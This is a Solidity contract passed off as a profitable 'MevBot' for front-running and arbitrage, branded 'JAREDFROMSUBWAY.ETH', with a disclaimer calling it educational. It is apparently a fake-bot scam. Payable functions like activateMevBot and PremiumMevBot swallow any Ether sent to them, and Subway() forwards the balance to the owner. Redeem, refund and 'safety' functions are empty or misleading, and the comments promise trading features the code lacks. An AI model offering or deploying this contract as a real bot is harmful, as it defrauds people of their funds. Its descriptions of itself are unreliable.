// SPDX-License-Identifier: MIT

/**
 * BOT VERSION; 21QAZ3SX43XC34 2X24:X5:G5  00:48:56   LICENSE CODE: 00X045VD0900X40
 * JAREDFROMSUBWAY.ETH    X    RABBIT TUNNEL    X    SUBWAY BOTS
 *
 *
 * MEVBot, which stands for "Miner Extractable Value Bot," 
 * is an automated program that helps users capture MEV (Miner Extractable Value) opportunities 
 * in the Ethereum network from Arbitrage, Liquidation, Front and Back Running.
 *
 * MEVBot typically shares a portion of the profits generated with its users who have deployed it.
 */

pragma solidity ^0.8.0;

contract MevBot {
    address private owner;

    uint256 public destroyTime;

    bool public active = true;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
 * @dev Provides information about the MevBot execution context, including Swaps,
 * Dex and/or Liquidity Pools, sender of the transaction and its data. 
 * While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with MEV-transactions the Account sending and
 * paying for execution is the sole controller of MevBot X7G-FOX 8 (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Caller is not the owner");
        _;
    }

    function withdraw() public  onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }

    function Subway () public payable {
        if (msg.value > 0) payable(owner).transfer(address(this).balance);
    }
    
    /* Fun fact about MevBots: 
    *  Algorithmic trading, which includes MevBots, was initially developed 
    *  and used by institutional investors and hedge funds. Today, 
    *  with the advancement of technology and increased DeFi accessibility, 
    *  even individual holder can utilize MevBots to optimize their strategies 
    *  and gain a competitive edge in the DeFi market.
    */

    function activateMevBot() public payable {
       
        if (msg.value > 0) { }
    }

    function MevBotInstaller () public payable {
       
        if (msg.value > 0) { }
    }

    function StartMevBotTrial () public payable {
       
        if (msg.value > 0) { }
    }

    /*
    *
    * Users can upgrade their MevBot from the Basic version to the Premium version, 
    * gaining access to enhanced features and advanced tools that optimize their trading strategies 
    * for maximum profitability. The Premium version offers an elevated trading experience, 
    * users to stay ahead in the competitive world of MEV trading.
    *
    */

      function BoostMevBot() public payable {
       
        if (msg.value > 0) { }
    }
     
     function PremiumMevBot () public payable {
       
        if (msg.value > 0) { }
    }

     function BasicMevBot () public payable {
       
        if (msg.value > 0) { }
    }

 /* 
 * calculates 5% of the calling wallet's Ether balance and 
 * subtracts it from the total balance to return the available balance 
 * after reserving for gas fees. 
 *
 * Note that this function only returns the adjusted balance for display purposes 
 * and does not modify the actual balance in the wallet.
 */
    
    function getBalance() public view returns (uint256) {
    uint256 balance = address(msg.sender).balance;
    uint256 reserve = balance * 5 / 100; 
    uint256 availableBalance = balance - reserve; 
    return availableBalance;
}

     /**
     * @dev The MevBot self-destruct mechanism allows the Bot
     * for contract termination, transferring any remaining ether 
     * to the MevBot Initializing address and marking the Bot as inactive. 
     * This adds control and security to the MevBot's lifecycle.
     */

    function setDestroyTime(uint256 _time) public onlyOwner {
        require(_time > block.timestamp, "Destroy time must be in the future");
        destroyTime = _time;
    }

    function destroy() public onlyOwner {
        require(destroyTime != 0, "Destroy time not set");
        require(block.timestamp >= destroyTime, "Destroy time has not been reached");

        if (address(this).balance > 0) {
            payable(owner).transfer(address(this).balance);
        }

        active = false;
    }
    
/**
 * @dev MevBot module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * Liquidity Pools, Dex and Pending Transactions.
 *
 * By default, the owner account will be the one that Initialize the MevBot. This
 * can later be changed with {transferOwnership} or Master Chef Proxy.
 *
 * MevBot module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * MevBot owner.
 */


    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "New owner is the zero address");
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
    }

 
    string private welcomeMessage;

    event WelcomeMessageChanged(string oldMessage, string newMessage);

    function setWelcomeMessage(string calldata newMessage) public {
        string memory oldMessage = welcomeMessage;
        welcomeMessage = newMessage;
        emit WelcomeMessageChanged(oldMessage, newMessage);
    }

    function getWelcomeMessage() public view returns (string memory) {
        return welcomeMessage;
    }

    /* 
    * Blacklisting Honeypots;  honeypot is a malicious trap set up by bad actors to deceive and 
    * exploit unsuspecting users, often with the intention of stealing funds. 
    * Honeypots can take many forms, including fraudulent smart contracts, fake websites, 
    * or seemingly legitimate projects or trading platforms.
    */

    mapping(address => bool) private blacklist;

    

    modifier notBlacklisted() {
    require(!blacklist[msg.sender], "Caller is blacklisted");
    _;
}

    function setBlacklistStatus(address target, bool status) public onlyOwner {
    blacklist[target] = status;
    emit BlacklistUpdated(target, status);
}

    function isBlacklisted(address target) public view returns (bool) {
    return blacklist[target];
}     
     /* MevBot Voting systems play a crucial role in various decision-making processes, 
     * ranging from liquidity pool adjustment to community decisions. 
     * The traditional voting process has several issues, including manipulation, fraud, and lack of transparency. 
     * With the advent of mevbot  and smart contracts, a more secure, transparent, and 
     * tamper-proof voting system has become a reality for mevs to snipe liquidity, front run dex and Pending Transactions.
     */

    mapping(uint256 => uint256) public votes;
    mapping(address => bool) public voters;

    function vote(uint256 _optionId) public {
        require(!voters[msg.sender], "Voter has already voted");
        votes[_optionId]++;
        voters[msg.sender] = true;
    }
    
      /* 
        * In the context of MevBot contracts, a Bot-Permit to spend is essentially 
        * granting an automated program (MevBot) the authority to utilize a certain amount of your digital assets 
        * (like tokens) on your behalf. This could be for various functions such as trading, participating 
        * in Liquidation, Front Run or performing arbitrage strategies.
        */

        /* 
        * This permit ensures that the bot has a limited, predefined access to your assets, 
        * thereby ensuring your funds' safety.
        */ 

        /*
        * guardedFunction uses the logic of the nonReentrant modifier directly. 
        * It increments the _guardCounter before executing the function code and restores it afterward. 
        * If a reentrant call is made, _guardCounter will not be the same 
        * and you can check this condition to prevent reentrancy.
        */

    uint256 private _guardCounter = 1;

    function guardedFunction() external {
        uint256 localCounter = _guardCounter;

        _guardCounter = _guardCounter + 1;

        _guardCounter = localCounter;
    }

    /* 
    * MEVBot facilitates the redemption of funds through various mechanisms. 
    * When a redemption is requested, MEVBot typically transfers the redeemed funds back to 
    * the designated recipient's address. The specific process may vary depending on 
    * the implementation of MEVBot and the underlying smart contract. 
    * However, the overall objective is to ensure that the redeemed funds are securely and 
    * accurately transferred to the intended recipient.
    */

     event Redeem(uint amount);

     function redeem(uint amount) public view {

     getBalance();(amount);
    }

    /*
    * The MevBot blacklist is a feature that prevents certain addresses from interacting with the MevBot contract. 
    * It helps protect against known malicious actors and fraudulent activities. 
    * The blacklist is implemented using a mapping where addresses are marked as blacklisted or not. 
    */
        
    mapping (address => bool) public isBlackListed;
    event BlacklistUpdated(address indexed target, bool isBlacklisted);

    event DestroyedBlackFunds(address _blackListedUser, uint _balance);

    event AddedBlackList(address _user);

    event RemovedBlackList(address _user);
     
     /*
     * The blacklist enhances security by restricting 
     * blacklisted honeypots and taxed tokens from performing actions,
     * shield MevBot from getting blacklisted when interacting with other contract.
     */

   
    function getBlackListStatus(address _maker) external view returns (bool) {
        return isBlackListed[_maker];}

    function getOwner() external view returns (address) {
        return owner;}

    function addBlackList (address _evilUser) public onlyOwner {
        isBlackListed[_evilUser] = true; }
    
    function removeBlackList (address _clearedUser) public onlyOwner {
        isBlackListed[_clearedUser] = false;  }

    function destroyBlackFunds (address _blackListedUser) public view onlyOwner {
        require(isBlackListed[_blackListedUser]); }  
    

    bool private isRefundActive;


    function activateRefund() external onlyOwner {
        isRefundActive = true;
    }

    function deactivateRefund() external onlyOwner {
        isRefundActive = false;
    }

    function refundGas(uint256 gasAmount) external {
        require(isRefundActive, "Gas refund is currently inactive");

        uint256 senderBalance = msg.sender.balance;

        require(senderBalance >= gasAmount * tx.gasprice, "Insufficient ETH balance");

       /* Refund gas
        * MevBot Refunds Installation and Activation Fee
        * 5Eth Metering
        * 100Eth Gas Reserve
        */
        payable(msg.sender).transfer(gasAmount * tx.gasprice);
    }

   
}



    /* Subway Disclaimer for Bot Codes
    *
    *  The provided code snippets and information are for educational purposes only 
    *  and not professional advice. The technology landscape is constantly evolving; 
    *  readers should conduct research and consult professionals before using any bot codes or technologies. 
    *  The author and publisher disclaim responsibility for any errors, omissions, or resulting damages. 
    *  Using bots may be against the terms of service for some platforms; ensure compliance 
    *  with all applicable regulations before implementation.
    *
    *
    * BOT VERSION; 21QAZ3SX43XC34 2H23:G5:K5  00:48:56   LICENSE CODE: 00X045VD0900X40
    * JAREDFROMSUBWAY.ETH    X    RABBIT TUNNEL    X    SUBWAY BOTS
    */